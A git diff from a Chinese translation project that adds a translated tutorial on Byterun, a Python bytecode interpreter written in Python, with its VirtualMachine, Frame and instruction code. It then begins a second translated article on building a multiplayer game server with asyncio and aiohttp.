+`dis`是一个字节码反汇编器。反汇编器以为机器而写的底层代码作为输入,比如汇编代码和字节码,然后以人类可读的方式输出。当我们运行`dis.dis`,它输出每个字节码的解释。 + +```python +>>> dis.dis(cond) + 2 0 LOAD_CONST 1 (3) + 3 STORE_FAST 0 (x) + + 3 6 LOAD_FAST 0 (x) + 9 LOAD_CONST 2 (5) + 12 COMPARE_OP 0 (<) + 15 POP_JUMP_IF_FALSE 22 + + 4 18 LOAD_CONST 3 ('yes') + 21 RETURN_VALUE + + 6 >> 22 LOAD_CONST 4 ('no') + 25 RETURN_VALUE + 26 LOAD_CONST 0 (None) + 29 RETURN_VALUE +``` + +这些都是什么意思?让我们以第一条指令`LOAD_CONST`为例子。第一列的数字(`2`)表示对应源代码的行数。第二列的数字是字节码的索引,告诉我们指令`LOAD_CONST`在位置 0 。第三列是指令本身对应的人类可读的名字。如果第四列存在,它表示指令的参数。如果第五列存在,它是一个关于参数是什么的提示。 + +考虑这个字节码的前几个字节:[100, 1, 0, 125, 0, 0]。这 6 个字节表示两条带参数的指令。我们可以使用`dis.opname`,一个字节到可读字符串的映射,来找到指令 100 和指令 125 代表的是什么: + +```python +>>> dis.opname[100] +'LOAD_CONST' +>>> dis.opname[125] +'STORE_FAST' +``` + +第二和第三个字节 —— 1 、0 ——是`LOAD_CONST`的参数,第五和第六个字节 —— 0、0 —— 是`STORE_FAST`的参数。就像我们前面的小例子,`LOAD_CONST`需要知道的到哪去找常量,`STORE_FAST`需要知道要存储的名字。(Python 的`LOAD_CONST`和我们小例子中的`LOAD_VALUE`一样,`LOAD_FAST`和`LOAD_NAME`一样)。所以这六个字节代表第一行源代码`x = 3` (为什么用两个字节表示指令的参数?如果 Python 使用一个字节,每个代码对象你只能有 256 个常量/名字,而用两个字节,就增加到了 256 的平方,65536个)。 + +#### 条件语句与循环语句 + +到目前为止,我们的解释器只能一条接着一条的执行指令。这有个问题,我们经常会想多次执行某个指令,或者在特定的条件下跳过它们。为了可以写循环和分支结构,解释器必须能够在指令中跳转。在某种程度上,Python 在字节码中使用`GOTO`语句来处理循环和分支!让我们再看一个`cond`函数的反汇编结果: + +```python +>>> dis.dis(cond) + 2 0 LOAD_CONST 1 (3) + 3 STORE_FAST 0 (x) + + 3 6 LOAD_FAST 0 (x) + 9 LOAD_CONST 2 (5) + 12 COMPARE_OP 0 (<) + 15 POP_JUMP_IF_FALSE 22 + + 4 18 LOAD_CONST 3 ('yes') + 21 RETURN_VALUE + + 6 >> 22 LOAD_CONST 4 ('no') + 25 RETURN_VALUE + 26 LOAD_CONST 0 (None) + 29 RETURN_VALUE +``` + +第三行的条件表达式`if x < 5`被编译成四条指令:`LOAD_FAST`、 `LOAD_CONST`、 `COMPARE_OP`和 `POP_JUMP_IF_FALSE`。`x < 5`对应加载`x`、加载 5、比较这两个值。指令`POP_JUMP_IF_FALSE`完成这个`if`语句。这条指令把栈顶的值弹出,如果值为真,什么都不发生。如果值为假,解释器会跳转到另一条指令。 + +这条将被加载的指令称为跳转目标,它作为指令`POP_JUMP`的参数。这里,跳转目标是 22,索引为 22 的指令是`LOAD_CONST`,对应源码的第 6 行。(`dis`用`>>`标记跳转目标。)如果`X < 5`为假,解释器会忽略第四行(`return yes`),直接跳转到第6行(`return "no"`)。因此解释器通过跳转指令选择性的执行指令。 + +Python 的循环也依赖于跳转。在下面的字节码中,`while x < 5`这一行产生了和`if x < 10`几乎一样的字节码。在这两种情况下,解释器都是先执行比较,然后执行`POP_JUMP_IF_FALSE`来控制下一条执行哪个指令。第四行的最后一条字节码`JUMP_ABSOLUT`(循环体结束的地方),让解释器返回到循环开始的第 9 条指令处。当 `x < 10`变为假,`POP_JUMP_IF_FALSE`会让解释器跳到循环的终止处,第 34 条指令。 + +```python +>>> def loop(): +... x = 1 +... while x < 5: +... x = x + 1 +... return x +... +>>> dis.dis(loop) + 2 0 LOAD_CONST 1 (1) + 3 STORE_FAST 0 (x) + + 3 6 SETUP_LOOP 26 (to 35) + >> 9 LOAD_FAST 0 (x) + 12 LOAD_CONST 2 (5) + 15 COMPARE_OP 0 (<) + 18 POP_JUMP_IF_FALSE 34 + + 4 21 LOAD_FAST 0 (x) + 24 LOAD_CONST 1 (1) + 27 BINARY_ADD + 28 STORE_FAST 0 (x) + 31 JUMP_ABSOLUTE 9 + >> 34 POP_BLOCK + + 5 >> 35 LOAD_FAST 0 (x) + 38 RETURN_VALUE +``` + +#### 探索字节码 + +我希望你用`dis.dis`来试试你自己写的函数。一些有趣的问题值得探索: + +- 对解释器而言 for 循环和 while 循环有什么不同? +- 能不能写出两个不同函数,却能产生相同的字节码? +- `elif`是怎么工作的?列表推导呢? + +### 帧 + +到目前为止,我们已经知道了 Python 虚拟机是一个栈机器。它能顺序执行指令,在指令间跳转,压入或弹出栈值。但是这和我们期望的解释器还有一定距离。在前面的那个例子中,最后一条指令是`RETURN_VALUE`,它和`return`语句相对应。但是它返回到哪里去呢? + +为了回答这个问题,我们必须再增加一层复杂性:帧(frame)。一个帧是一些信息的集合和代码的执行上下文。帧在 Python 代码执行时动态地创建和销毁。每个帧对应函数的一次调用 —— 所以每个帧只有一个代码对象与之关联,而一个代码对象可以有多个帧。比如你有一个函数递归的调用自己 10 次,这会产生 11 个帧,每次调用对应一个,再加上启动模块对应的一个帧。总的来说,Python 程序的每个作用域都有一个帧,比如,模块、函数、类定义。 + +帧存在于调用栈(call stack)中,一个和我们之前讨论的完全不同的栈。(你最熟悉的栈就是调用栈,就是你经常看到的异常回溯,每个以"File 'program.py'"开始的回溯对应一个帧。)解释器在执行字节码时操作的栈,我们叫它数据栈(data stack)。其实还有第三个栈,叫做块栈(block stack),用于特定的控制流块,比如循环和异常处理。调用栈中的每个帧都有它自己的数据栈和块栈。 + +让我们用一个具体的例子来说明一下。假设 Python 解释器执行到下面标记为 3 的地方。解释器正处于`foo`函数的调用中,它接着调用`bar`。下面是帧调用栈、块栈和数据栈的示意图。我们感兴趣的是解释器先从最底下的`foo()`开始,接着执行`foo`的函数体,然后到达`bar`。 + +```python +>>> def bar(y): +... z = y + 3 # <--- (3) ... and the interpreter is here. +... return z +... +>>> def foo(): +... a = 1 +... b = 2 +... return a + bar(b) # <--- (2) ... which is returning a call to bar ... +... +>>> foo() # <--- (1) We're in the middle of a call to foo ... +3 +``` + +![调用栈](http://aosabook.org/en/500L/interpreter-images/interpreter-callstack.png) + +现在,解释器处于`bar`函数的调用中。调用栈中有 3 个帧:一个对应于模块层,一个对应函数`foo`,另一个对应函数`bar`。(见上图)一旦`bar`返回,与它对应的帧就会从调用栈中弹出并丢弃。 + +字节码指令`RETURN_VALUE`告诉解释器在帧之间传递一个值。首先,它把位于调用栈栈顶的帧中的数据栈的栈顶值弹出。然后把整个帧弹出丢弃。最后把这个值压到下一个帧的数据栈中。 + +当 Ned Batchelder 和我在写 Byterun 时,很长一段时间我们的实现中一直有个重大的错误。我们整个虚拟机中只有一个数据栈,而不是每个帧都有一个。我们写了很多测试代码,同时在 Byterun 和真正的 Python 上运行,希望得到一致结果。我们几乎通过了所有测试,只有一样东西不能通过,那就是生成器(generators)。最后,通过仔细的阅读 CPython 的源码,我们发现了错误所在(感谢 Michael Arntzenius 对这个 bug 的洞悉)。把数据栈移到每个帧就解决了这个问题。 + +回头在看看这个 bug,我惊讶的发现 Python 真的很少依赖于每个帧有一个数据栈这个特性。在 Python 中几乎所有的操作都会清空数据栈,所以所有的帧公用一个数据栈是没问题的。在上面的例子中,当`bar`执行完后,它的数据栈为空。即使`foo`公用这一个栈,它的值也不会受影响。然而,对应生成器,它的一个关键的特点是它能暂停一个帧的执行,返回到其他的帧,一段时间后它能返回到原来的帧,并以它离开时的相同状态继续执行。 + +### Byterun + +现在我们有足够的 Python 解释器的知识背景去考察 Byterun。 + +Byterun 中有四种对象。 + +- `VirtualMachine`类,它管理高层结构,尤其是帧调用栈,并包含了指令到操作的映射。这是一个比前面`Inteprter`对象更复杂的版本。 +- `Frame`类,每个`Frame`类都有一个代码对象,并且管理着其他一些必要的状态位,尤其是全局和局部命名空间、指向调用它的整的指针和最后执行的字节码指令。 +- `Function`类,它被用来代替真正的 Python 函数。回想一下,调用函数时会创建一个新的帧。我们自己实现了`Function`,以便我们控制新的`Frame`的创建。 +- `Block`类,它只是包装了块的 3 个属性。(块的细节不是解释器的核心,我们不会花时间在它身上,把它列在这里,是因为 Byterun 需要它。) + +#### `VirtualMachine` 类 + +每次程序运行时只会创建一个`VirtualMachine`实例,因为我们只有一个 Python 解释器。`VirtualMachine` 保存调用栈、异常状态、在帧之间传递的返回值。它的入口点是`run_code`方法,它以编译后的代码对象为参数,以创建一个帧为开始,然后运行这个帧。这个帧可能再创建出新的帧;调用栈随着程序的运行而增长和缩短。当第一个帧返回时,执行结束。 + +```python +class VirtualMachineError(Exception): + pass + +class VirtualMachine(object): + def __init__(self): + self.frames = [] # The call stack of frames. + self.frame = None # The current frame. + self.return_value = None + self.last_exception = None + + def run_code(self, code, global_names=None, local_names=None): + """ An entry point to execute code using the virtual machine.""" + frame = self.make_frame(code, global_names=global_names, + local_names=local_names) + self.run_frame(frame) + +``` + +#### `Frame` 类 + +接下来,我们来写`Frame`对象。帧是一个属性的集合,它没有任何方法。前面提到过,这些属性包括由编译器生成的代码对象;局部、全局和内置命名空间;前一个帧的引用;一个数据栈;一个块栈;最后执行的指令指针。(对于内置命名空间我们需要多做一点工作,Python 在不同模块中对这个命名空间有不同的处理;但这个细节对我们的虚拟机不重要。) + +```python +class Frame(object): + def __init__(self, code_obj, global_names, local_names, prev_frame): + self.code_obj = code_obj + self.global_names = global_names + self.local_names = local_names + self.prev_frame = prev_frame + self.stack = [] + if prev_frame: + self.builtin_names = prev_frame.builtin_names + else: + self.builtin_names = local_names['__builtins__'] + if hasattr(self.builtin_names, '__dict__'): + self.builtin_names = self.builtin_names.__dict__ + + self.last_instruction = 0 + self.block_stack = [] +``` + +接着,我们在虚拟机中增加对帧的操作。这有 3 个帮助函数:一个创建新的帧的方法(它负责为新的帧找到名字空间),和压栈和出栈的方法。第四个函数,`run_frame`,完成执行帧的主要工作,待会我们再讨论这个方法。 + +```python +class VirtualMachine(object): + [... snip ...] + + # Frame manipulation + def make_frame(self, code, callargs={}, global_names=None, local_names=None): + if global_names is not None and local_names is not None: + local_names = global_names + elif self.frames: + global_names = self.frame.global_names + local_names = {} + else: + global_names = local_names = { + '__builtins__': __builtins__, + '__name__': '__main__', + '__doc__': None, + '__package__': None, + } + local_names.update(callargs) + frame = Frame(code, global_names, local_names, self.frame) + return frame + + def push_frame(self, frame): + self.frames.append(frame) + self.frame = frame + + def pop_frame(self): + self.frames.pop() + if self.frames: + self.frame = self.frames[-1] + else: + self.frame = None + + def run_frame(self): + pass + # we'll come back to this shortly +``` + +#### `Function` 类 + +`Function`的实现有点曲折,但是大部分的细节对理解解释器不重要。重要的是当调用函数时 —— 即调用 `__call__`方法 —— 它创建一个新的`Frame`并运行它。 + +```python +class Function(object): + """ + Create a realistic function object, defining the things the interpreter expects. + """ + __slots__ = [ + 'func_code', 'func_name', 'func_defaults', 'func_globals', + 'func_locals', 'func_dict', 'func_closure', + '__name__', '__dict__', '__doc__', + '_vm', '_func', + ] + + def __init__(self, name, code, globs, defaults, closure, vm): + """You don't need to follow this closely to understand the interpreter.""" + self._vm = vm + self.func_code = code + self.func_name = self.__name__ = name or code.co_name + self.func_defaults = tuple(defaults) + self.func_globals = globs + self.func_locals = self._vm.frame.f_locals + self.__dict__ = {} + self.func_closure = closure + self.__doc__ = code.co_consts[0] if code.co_consts else None + + # Sometimes, we need a real Python function. This is for that. + kw = { + 'argdefs': self.func_defaults, + } + if closure: + kw['closure'] = tuple(make_cell(0) for _ in closure) + self._func = types.FunctionType(code, globs, **kw) + + def __call__(self, *args, **kwargs): + """When calling a Function, make a new frame and run it.""" + callargs = inspect.getcallargs(self._func, *args, **kwargs) + # Use callargs to provide a mapping of arguments: values to pass into the new + # frame. + frame = self._vm.make_frame( + self.func_code, callargs, self.func_globals, {} + ) + return self._vm.run_frame(frame) + +def make_cell(value): + """Create a real Python closure and grab a cell.""" + # Thanks to Alex Gaynor for help with this bit of twistiness. + fn = (lambda x: lambda: x)(value) + return fn.__closure__[0] +``` + +接着,回到`VirtualMachine`对象,我们对数据栈的操作也增加一些帮助方法。字节码操作的栈总是在当前帧的数据栈。这些帮助函数让我们的`POP_TOP`、`LOAD_FAST`以及其他操作栈的指令的实现可读性更高。 + +```python +class VirtualMachine(object): + [... snip ...] + + # Data stack manipulation + def top(self): + return self.frame.stack[-1] + + def pop(self): + return self.frame.stack.pop() + + def push(self, *vals): + self.frame.stack.extend(vals) + + def popn(self, n): + """Pop a number of values from the value stack. + A list of `n` values is returned, the deepest value first. + """ + if n: + ret = self.frame.stack[-n:] + self.frame.stack[-n:] = [] + return ret + else: + return [] +``` + +在我们运行帧之前,我们还需两个方法。 + +第一个方法,`parse_byte_and_args` 以一个字节码为输入,先检查它是否有参数,如果有,就解析它的参数。这个方法同时也更新帧的`last_instruction`属性,它指向最后执行的指令。一条没有参数的指令只有一个字节长度,而有参数的字节有3个字节长。参数的意义依赖于指令是什么。比如,前面说过,指令`POP_JUMP_IF_FALSE`,它的参数指的是跳转目标。`BUILD_LIST`,它的参数是列表的个数。`LOAD_CONST`,它的参数是常量的索引。 + +一些指令用简单的数字作为参数。对于另一些,虚拟机需要一点努力去发现它含意。标准库中的`dis`模块中有一个备忘单,它解释什么参数有什么意思,这让我们的代码更加简洁。比如,列表`dis.hasname`告诉我们`LOAD_NAME`、 `IMPORT_NAME`、`LOAD_GLOBAL`,以及另外的 9 个指令的参数都有同样的意义:对于这些指令,它们的参数代表了代码对象中的名字列表的索引。 + +```python +class VirtualMachine(object): + [... snip ...] + + def parse_byte_and_args(self): + f = self.frame + opoffset = f.last_instruction + byteCode = f.code_obj.co_code[opoffset] + f.last_instruction += 1 + byte_name = dis.opname[byteCode] + if byteCode >= dis.HAVE_ARGUMENT: + # index into the bytecode + arg = f.code_obj.co_code[f.last_instruction:f.last_instruction+2] + f.last_instruction += 2 # advance the instruction pointer + arg_val = arg[0] + (arg[1] * 256) + if byteCode in dis.hasconst: # Look up a constant + arg = f.code_obj.co_consts[arg_val] + elif byteCode in dis.hasname: # Look up a name + arg = f.code_obj.co_names[arg_val] + elif byteCode in dis.haslocal: # Look up a local name + arg = f.code_obj.co_varnames[arg_val] + elif byteCode in dis.hasjrel: # Calculate a relative jump + arg = f.last_instruction + arg_val + else: + arg = arg_val + argument = [arg] + else: + argument = [] + + return byte_name, argument +``` + +下一个方法是`dispatch`,它查找给定的指令并执行相应的操作。在 CPython 中,这个分派函数用一个巨大的 switch 语句实现,有超过 1500 行的代码。幸运的是,我们用的是 Python,我们的代码会简洁的多。我们会为每一个字节码名字定义一个方法,然后用`getattr`来查找。就像我们前面的小解释器一样,如果一条指令叫做`FOO_BAR`,那么它对应的方法就是`byte_FOO_BAR`。现在,我们先把这些方法当做一个黑盒子。每个指令方法都会返回`None`或者一个字符串`why`,有些情况下虚拟机需要这个额外`why`信息。这些指令方法的返回值,仅作为解释器状态的内部指示,千万不要和执行帧的返回值相混淆。 + +```python +class VirtualMachine(object): + [... snip ...] + + def dispatch(self, byte_name, argument): + """ Dispatch by bytename to the corresponding methods. + Exceptions are caught and set on the virtual machine.""" + + # When later unwinding the block stack, + # we need to keep track of why we are doing it. + why = None + try: + bytecode_fn = getattr(self, 'byte_%s' % byte_name, None) + if bytecode_fn is None: + if byte_name.startswith('UNARY_'): + self.unaryOperator(byte_name[6:]) + elif byte_name.startswith('BINARY_'): + self.binaryOperator(byte_name[7:]) + else: + raise VirtualMachineError( + "unsupported bytecode type: %s" % byte_name + ) + else: + why = bytecode_fn(*argument) + except: + # deal with exceptions encountered while executing the op. + self.last_exception = sys.exc_info()[:2] + (None,) + why = 'exception' + + return why + + def run_frame(self, frame): + """Run a frame until it returns (somehow). + Exceptions are raised, the return value is returned. + """ + self.push_frame(frame) + while True: + byte_name, arguments = self.parse_byte_and_args() + + why = self.dispatch(byte_name, arguments) + + # Deal with any block management we need to do + while why and frame.block_stack: + why = self.manage_block_stack(why) + + if why: + break + + self.pop_frame() + + if why == 'exception': + exc, val, tb = self.last_exception + e = exc(val) + e.__traceback__ = tb + raise e + + return self.return_value +``` + +#### `Block` 类 + +在我们完成每个字节码方法前,我们简单的讨论一下块。一个块被用于某种控制流,特别是异常处理和循环。它负责保证当操作完成后数据栈处于正确的状态。比如,在一个循环中,一个特殊的迭代器会存在栈中,当循环完成时它从栈中弹出。解释器需要检查循环仍在继续还是已经停止。 + +为了跟踪这些额外的信息,解释器设置了一个标志来指示它的状态。我们用一个变量`why`实现这个标志,它可以是`None`或者是下面几个字符串之一:`"continue"`、`"break"`、`"excption"`、`return`。它们指示对块栈和数据栈进行什么操作。回到我们迭代器的例子,如果块栈的栈顶是一个`loop`块,`why`的代码是`continue`,迭代器就应该保存在数据栈上,而如果`why`是`break`,迭代器就会被弹出。 + +块操作的细节比这个还要繁琐,我们不会花时间在这上面,但是有兴趣的读者值得仔细的看看。 + +```python +Block = collections.namedtuple("Block", "type, handler, stack_height") + +class VirtualMachine(object): + [... snip ...] + + # Block stack manipulation + def push_block(self, b_type, handler=None): + level = len(self.frame.stack) + self.frame.block_stack.append(Block(b_type, handler, stack_height)) + + def pop_block(self): + return self.frame.block_stack.pop() + + def unwind_block(self, block): + """Unwind the values on the data stack corresponding to a given block.""" + if block.type == 'except-handler': + # The exception itself is on the stack as type, value, and traceback. + offset = 3 + else: + offset = 0 + + while len(self.frame.stack) > block.level + offset: + self.pop() + + if block.type == 'except-handler': + traceback, value, exctype = self.popn(3) + self.last_exception = exctype, value, traceback + + def manage_block_stack(self, why): + """ """ + frame = self.frame + block = frame.block_stack[-1] + if block.type == 'loop' and why == 'continue': + self.jump(self.return_value) + why = None + return why + + self.pop_block() + self.unwind_block(block) + + if block.type == 'loop' and why == 'break': + why = None + self.jump(block.handler) + return why + + if (block.type in ['setup-except', 'finally'] and why == 'exception'): + self.push_block('except-handler') + exctype, value, tb = self.last_exception + self.push(tb, value, exctype) + self.push(tb, value, exctype) # yes, twice + why = None + self.jump(block.handler) + return why + + elif block.type == 'finally': + if why in ('return', 'continue'): + self.push(self.return_value) + + self.push(why) + + why = None + self.jump(block.handler) + return why + return why +``` + +### 指令 + +剩下了的就是完成那些指令方法了:`byte_LOAD_FAST`、`byte_BINARY_MODULO`等等。而这些指令的实现并不是很有趣,这里我们只展示了一小部分,完整的实现[在 GitHub 上](https://github.com/nedbat/byterun)。(这里包括的指令足够执行我们前面所述的所有代码了。) + +```python +class VirtualMachine(object): + [... snip ...] + + ## Stack manipulation + + def byte_LOAD_CONST(self, const): + self.push(const) + + def byte_POP_TOP(self): + self.pop() + + ## Names + def byte_LOAD_NAME(self, name): + frame = self.frame + if name in frame.f_locals: + val = frame.f_locals[name] + elif name in frame.f_globals: + val = frame.f_globals[name] + elif name in frame.f_builtins: + val = frame.f_builtins[name] + else: + raise NameError("name '%s' is not defined" % name) + self.push(val) + + def byte_STORE_NAME(self, name): + self.frame.f_locals[name] = self.pop() + + def byte_LOAD_FAST(self, name): + if name in self.frame.f_locals: + val = self.frame.f_locals[name] + else: + raise UnboundLocalError( + "local variable '%s' referenced before assignment" % name + ) + self.push(val) + + def byte_STORE_FAST(self, name): + self.frame.f_locals[name] = self.pop() + + def byte_LOAD_GLOBAL(self, name): + f = self.frame + if name in f.f_globals: + val = f.f_globals[name] + elif name in f.f_builtins: + val = f.f_builtins[name] + else: + raise NameError("global name '%s' is not defined" % name) + self.push(val) + + ## Operators + + BINARY_OPERATORS = { + 'POWER': pow, + 'MULTIPLY': operator.mul, + 'FLOOR_DIVIDE': operator.floordiv, + 'TRUE_DIVIDE': operator.truediv, + 'MODULO': operator.mod, + 'ADD': operator.add, + 'SUBTRACT': operator.sub, + 'SUBSCR': operator.getitem, + 'LSHIFT': operator.lshift, + 'RSHIFT': operator.rshift, + 'AND': operator.and_, + 'XOR': operator.xor, + 'OR': operator.or_, + } + + def binaryOperator(self, op): + x, y = self.popn(2) + self.push(self.BINARY_OPERATORS[op](x, y)) + + COMPARE_OPERATORS = [ + operator.lt, + operator.le, + operator.eq, + operator.ne, + operator.gt, + operator.ge, + lambda x, y: x in y, + lambda x, y: x not in y, + lambda x, y: x is y, + lambda x, y: x is not y, + lambda x, y: issubclass(x, Exception) and issubclass(x, y), + ] + + def byte_COMPARE_OP(self, opnum): + x, y = self.popn(2) + self.push(self.COMPARE_OPERATORS[opnum](x, y)) + + ## Attributes and indexing + + def byte_LOAD_ATTR(self, attr): + obj = self.pop() + val = getattr(obj, attr) + self.push(val) + + def byte_STORE_ATTR(self, name): + val, obj = self.popn(2) + setattr(obj, name, val) + + ## Building + + def byte_BUILD_LIST(self, count): + elts = self.popn(count) + self.push(elts) + + def byte_BUILD_MAP(self, size): + self.push({}) + + def byte_STORE_MAP(self): + the_map, val, key = self.popn(3) + the_map[key] = val + self.push(the_map) + + def byte_LIST_APPEND(self, count): + val = self.pop() + the_list = self.frame.stack[-count] # peek + the_list.append(val) + + ## Jumps + + def byte_JUMP_FORWARD(self, jump): + self.jump(jump) + + def byte_JUMP_ABSOLUTE(self, jump): + self.jump(jump) + + def byte_POP_JUMP_IF_TRUE(self, jump): + val = self.pop() + if val: + self.jump(jump) + + def byte_POP_JUMP_IF_FALSE(self, jump): + val = self.pop() + if not val: + self.jump(jump) + + ## Blocks + + def byte_SETUP_LOOP(self, dest): + self.push_block('loop', dest) + + def byte_GET_ITER(self): + self.push(iter(self.pop())) + + def byte_FOR_ITER(self, jump): + iterobj = self.top() + try: + v = next(iterobj) + self.push(v) + except StopIteration: + self.pop() + self.jump(jump) + + def byte_BREAK_LOOP(self): + return 'break' + + def byte_POP_BLOCK(self): + self.pop_block() + + ## Functions + + def byte_MAKE_FUNCTION(self, argc): + name = self.pop() + code = self.pop() + defaults = self.popn(argc) + globs = self.frame.f_globals + fn = Function(name, code, globs, defaults, None, self) + self.push(fn) + + def byte_CALL_FUNCTION(self, arg): + lenKw, lenPos = divmod(arg, 256) # KWargs not supported here + posargs = self.popn(lenPos) + + func = self.pop() + frame = self.frame + retval = func(*posargs) + self.push(retval) + + def byte_RETURN_VALUE(self): + self.return_value = self.pop() + return "return" +``` + +### 动态类型:编译器不知道它是什么 + +你可能听过 Python 是一种动态语言 —— 它是动态类型的。在我们建造解释器的过程中,已经透露出这样的信息。 + +动态的一个意思是很多工作是在运行时完成的。前面我们看到 Python 的编译器没有很多关于代码真正做什么的信息。举个例子,考虑下面这个简单的函数`mod`。它取两个参数,返回它们的模运算值。从它的字节码中,我们看到变量`a`和`b`首先被加载,然后字节码`BINAY_MODULO`完成这个模运算。 + +```python +>>> def mod(a, b): +... return a % b +>>> dis.dis(mod) + 2 0 LOAD_FAST 0 (a) + 3 LOAD_FAST 1 (b) + 6 BINARY_MODULO + 7 RETURN_VALUE +>>> mod(19, 5) +4 +``` + +计算 19 % 5 得4,—— 一点也不奇怪。如果我们用不同类的参数呢? + +```python +>>> mod("by%sde", "teco") +'bytecode' +``` + +刚才发生了什么?你可能在其它地方见过这样的语法,格式化字符串。 + +``` +>>> print("by%sde" % "teco") +bytecode +``` + +用符号`%`去格式化字符串会调用字节码`BUNARY_MODULO`。它取栈顶的两个值求模,不管这两个值是字符串、数字或是你自己定义的类的实例。字节码在函数编译时生成(或者说,函数定义时)相同的字节码会用于不同类的参数。 + +Python 的编译器关于字节码的功能知道的很少,而取决于解释器来决定`BINAYR_MODULO`应用于什么类型的对象并完成正确的操作。这就是为什么 Python 被描述为动态类型(dynamically typed):直到运行前你不必知道这个函数参数的类型。相反,在一个静态类型语言中,程序员需要告诉编译器参数的类型是什么(或者编译器自己推断出参数的类型。) + +编译器的无知是优化 Python 的一个挑战 —— 只看字节码,而不真正运行它,你就不知道每条字节码在干什么!你可以定义一个类,实现`__mod__`方法,当你对这个类的实例使用`%`时,Python 就会自动调用这个方法。所以,`BINARY_MODULO`其实可以运行任何代码。 + +看看下面的代码,第一个`a % b`看起来没有用。 + +```python +def mod(a,b): + a % b + return a %b +``` + +不幸的是,对这段代码进行静态分析 —— 不运行它 —— 不能确定第一个`a % b`没有做任何事。用 `%`调用`__mod__`可能会写一个文件,或是和程序的其他部分交互,或者其他任何可以在 Python 中完成的事。很难优化一个你不知道它会做什么的函数。在 Russell Power 和 Alex Rubinsteyn 的优秀论文中写道,“我们可以用多快的速度解释 Python?”,他们说,“在普遍缺乏类型信息下,每条指令必须被看作一个`INVOKE_ARBITRARY_METHOD`。” + +### 总结 + +Byterun 是一个比 CPython 容易理解的简洁的 Python 解释器。Byterun 复制了 CPython 的主要结构:一个基于栈的解释器对称之为字节码的指令集进行操作,它们顺序执行或在指令间跳转,向栈中压入和从中弹出数据。解释器随着函数和生成器的调用和返回,动态的创建、销毁帧,并在帧之间跳转。Byterun 也有着和真正解释器一样的限制:因为 Python 使用动态类型,解释器必须在运行时决定指令的正确行为。 + +我鼓励你去反汇编你的程序,然后用 Byterun 来运行。你很快会发现这个缩短版的 Byterun 所没有实现的指令。完整的实现在 https://github.com/nedbat/byterun ,或者你可以仔细阅读真正的 CPython 解释器`ceval.c`,你也可以实现自己的解释器! + +### 致谢 + +感谢 Ned Batchelder 发起这个项目并引导我的贡献,感谢 Michael Arntzenius 帮助调试代码和这篇文章的修订,感谢 Leta Montopoli 的修订,以及感谢整个 Recurse Center 社区的支持和鼓励。所有的不足全是我自己没搞好。 + +-------------------------------------- +via: http://aosabook.org/en/500L/a-python-interpreter-written-in-python.html + +作者: Allison Kaptur +译者:[qingyunha](https://github.com/qingyunha) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201609/20160531 Writing online multiplayer game with python and asyncio - part 2.md b/published/201609/20160531 Writing online multiplayer game with python and asyncio - part 2.md new file mode 100644 index 0000000000..b30b381b7e --- /dev/null +++ b/published/201609/20160531 Writing online multiplayer game with python and asyncio - part 2.md @@ -0,0 +1,236 @@ +使用 Python 和 Asyncio 编写在线多用人游戏(二) +================================================================== + +![](https://7webpages.com/media/cache/fd/d1/fdd1f8f8bbbf4166de5f715e6ed0ac00.gif) + +> 你在 Python 中用过异步编程吗?本文中我会告诉你怎样做,而且用一个[能工作的例子][1]来展示它:这是一个流行的贪吃蛇游戏,而且是为多人游戏而设计的。 + +介绍和理论部分参见“[第一部分 异步化][2]”。 + +- [游戏入口在此,点此体验][1]。 + +### 3、编写游戏循环主体 + +游戏循环是每一个游戏的核心。它持续地运行以读取玩家的输入、更新游戏的状态,并且在屏幕上渲染游戏结果。在在线游戏中,游戏循环分为客户端和服务端两部分,所以一般有两个循环通过网络通信。通常客户端的角色是获取玩家输入,比如按键或者鼠标移动,将数据传输给服务端,然后接收需要渲染的数据。服务端处理来自玩家的所有数据,更新游戏的状态,执行渲染下一帧的必要计算,然后将结果传回客户端,例如游戏中对象的新位置。如果没有可靠的理由,不混淆客户端和服务端的角色是一件很重要的事。如果你在客户端执行游戏逻辑的计算,很容易就会和其它客户端失去同步,其实你的游戏也可以通过简单地传递客户端的数据来创建。 + +> 游戏循环的一次迭代称为一个嘀嗒(tick)。嘀嗒是一个事件,表示当前游戏循环的迭代已经结束,下一帧(或者多帧)的数据已经就绪。 + +在后面的例子中,我们使用相同的客户端,它使用 WebSocket 从一个网页上连接到服务端。它执行一个简单的循环,将按键码发送给服务端,并显示来自服务端的所有信息。[客户端代码戳这里][4]。 + +### 例子 3.1:基本游戏循环 + +> [例子 3.1 源码][5]。 + +我们使用 [aiohttp][6] 库来创建游戏服务器。它可以通过 asyncio 创建网页服务器和客户端。这个库的一个优势是它同时支持普通 http 请求和 websocket。所以我们不用其他网页服务器来渲染游戏的 html 页面。 + +下面是启动服务器的方法: + +``` +app = web.Application() +app["sockets"] = [] + +asyncio.ensure_future(game_loop(app)) + +app.router.add_route('GET', '/connect', wshandler) +app.router.add_route('GET', '/', handle) + +web.run_app(app) +``` + +`web.run_app` 是创建服务主任务的快捷方法,通过它的 `run_forever()` 方法来执行 `asyncio` 事件循环。建议你查看这个方法的源码,弄清楚服务器到底是如何创建和结束的。 + +`app` 变量就是一个类似于字典的对象,它用于在所连接的客户端之间共享数据。我们使用它来存储连接的套接字的列表。随后会用这个列表来给所有连接的客户端发送消息。`asyncio.ensure_future()` 调用会启动主游戏循环的任务,每隔2 秒向客户端发送嘀嗒消息。这个任务会在同样的 asyncio 事件循环中和网页服务器并行执行。 + +有两个网页请求处理器:`handle` 是提供 html 页面的处理器;`wshandler` 是主要的 websocket 服务器任务,处理和客户端之间的交互。在事件循环中,每一个连接的客户端都会创建一个新的 `wshandler` 任务。这个任务会添加客户端的套接字到列表中,以便 `game_loop` 任务可以给所有的客户端发送消息。然后它将随同消息回显客户端的每个击键。 + +在启动的任务中,我们在 `asyncio` 的主事件循环中启动 worker 循环。任务之间的切换发生在它们之间任何一个使用 `await`语句来等待某个协程结束时。例如 `asyncio.sleep` 仅仅是将程序执行权交给调度器一段指定的时间;`ws.receive` 等待 websocket 的消息,此时调度器可能切换到其它任务。 + +在浏览器中打开主页,连接上服务器后,试试随便按下键。它们的键值会从服务端返回,每隔 2 秒这个数字会被游戏循环中发给所有客户端的嘀嗒消息所覆盖。 + +我们刚刚创建了一个处理客户端按键的服务器,主游戏循环在后台做一些处理,周期性地同时更新所有的客户端。 + +### 例子 3.2: 根据请求启动游戏 + +> [例子 3.2 的源码][7] + 